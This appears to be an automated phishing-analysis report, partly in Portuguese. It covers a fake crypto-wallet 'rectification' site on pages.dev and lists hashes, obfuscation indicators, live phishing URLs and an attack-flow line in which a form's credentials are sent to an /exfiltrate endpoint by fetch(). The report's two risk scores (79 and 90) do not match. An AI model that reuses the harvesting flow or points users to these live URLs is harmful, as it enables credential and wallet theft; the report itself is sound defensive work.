Phishing Analysis
Detailed analysis of captured phishing page
Captura Visual
Informações de Detecção
https://dusktestresolve.pages.dev/
Detected Brand
Unknown
Country
International
Confiança
100%
HTTP Status
200
Report ID
96657596-086…
Analyzed
2026-02-18 03:08
Hashes de Conteúdo (Similaridade HTML)
Used to detect similar phishing pages based on HTML content
| Algorithm | Hash Value |
|---|---|
|
CONTENT
TLSH
|
T18643D8B217491EFE10C783E0B722773673A963D5E66F820682F847255B8BD4ADC735A0 |
|
CONTENT
ssdeep
|
384:arhb8fgbnziNBXELiy/Y+nPacLI/omC4mGHXISBhq8t8DDOmQpvqYtZ:4lbnzsZELk+Cuz63HX38umQpiQ |
Hashes Visuais (Similaridade de Captura)
Used to detect visually similar phishing pages based on screenshots
| Algorithm | Hash Value |
|---|---|
|
VISUAL
pHash
|
ce9634343696963e |
|
VISUAL
aHash
|
66383c3c30383000 |
|
VISUAL
dHash
|
c4f06969e0e0e0e0 |
|
VISUAL
wHash
|
7e787c7c787c3800 |
|
VISUAL
colorHash
|
38001600040 |
|
VISUAL
cropResistant
|
c4f06969e0e0e0e0 |
Análise de Código
Risk Score
79/100
Nível de Ameaça
ALTO
⚠️ Phishing Confirmed
🎣 Credential Harvester
🎣 OTP Stealer
🎣 Banking
🎣 Personal Info
🔬 Threat Analysis Report
• Ameaça: Phishing
• Alvo: Usuários de carteiras de criptomoedas
• Método: Suplantando e Engenharia Social
• Exfil: Obfuscation JavaScript potencialmente usado para roubar frases de semente ou drenar fundos.
• Indicadores: Hospedagem gratuita, JavaScript ofuscado, tema de criptomoeda.
• Risco: Alto
🔒 Obfuscation Detected
- fromCharCode
- unescape
- unicode_escape
🎯 Kit Endpoints
- https://dusktestresolve.pages.dev/exfiltrate
📊 Detalhamento da Pontuação de Risco
Total Risk Score
90/100
Contributing Factors
Free Hosting
The site is hosted on a free hosting platform (pages.dev), a common tactic used by phishers.
Obfuscated JavaScript
Obfuscated JavaScript is detected, suggesting malicious code designed to steal sensitive data or drain funds.
Targeting Cryptocurrency Users
The site's theme revolves around cryptocurrency and wallet access, a common target for phishing attacks.
🔬 Análise Integral de Ameaças
Tipo de Ameaça
Banking Credential Harvester
Alvo
General public
Método de Ataque
obfuscated JavaScript
Canal de Exfiltração
Unknown
Avaliação de Risco
HIGH - Automated credential harvesting with Unknown
⚠️ Indicators of Compromise
- Kit types: Credential Harvester, OTP Stealer, Banking, Personal Info
- 24 obfuscation techniques
🏢 Análise de Falsificação de Marca
Impersonated Brand
Cryptocurrency Wallets (Generic)
Fake Service
Wallet Rectification
Fraudulent Claims
⚔️ Metodologia de Ataque
Primary Method: Wallet Impersonation
The attackers attempt to mimic legitimate wallet services to trick users into entering their seed phrases or connecting their wallets, granting them access to their funds.
Secondary Method: Social Engineering
The attackers use psychological manipulation, using claims of 'rectification' and 'AI-assisted support' to create a sense of trust or urgency, coaxing users into taking actions that expose their wallet.
🌐 Indicadores de Compromisso de Infraestrutura
🦠 Malicious Files
Main File
main.js
File Size
📊 Diagrama de Fluxo de Ataque
User fills <input name='username'> → submitForm() → fetch('https://dusktestresolve.pages.dev/exfiltrate') → credentials sent
🔬 JavaScript Deep Analysis
Operator Language
English (1%)
Total Code Size
455,3 KB
🔗 API Endpoints Detected
Other
10
🔐 Obfuscation Detected
- : Moderate
- : Moderate
🤖 AI-Extracted Threat Intelligence
📊 Attack Flow
User fills <input name='username'> → submitForm() → fetch('https://dusktestresolve.pages.dev/exfiltrate') → credentials sent
🎯 Malicious Files Identified
Main Drainer
main.jsFile Size
45KB
Malicious Functions
sendData()submitForm()
Similar Websites
Pages with identical visual appearance (based on perceptual hash)
Desconhecido
http://koiitxtresolve.pages.dev/
Jun 02, 2026
WalletConnect (implied)
http://brevistestresolve.pages.dev/
Mai 11, 2026
No screenshot
Desconhecido
http://unitestresolve.pages.dev/
Fev 13, 2026
Desconhecido
http://heliustestresolve.pages.dev/
Fev 11, 2026
Desconhecido
http://wetestxresolve.pages.dev
Fev 07, 2026
Scan History for dusktestresolve.pages.dev
Found 1 other scan for this domain
"Nunca pensei que aconteceria comigo"
Isso dizem os 2,3 milhões de vítimas a cada ano. Não espere para ser uma estatística.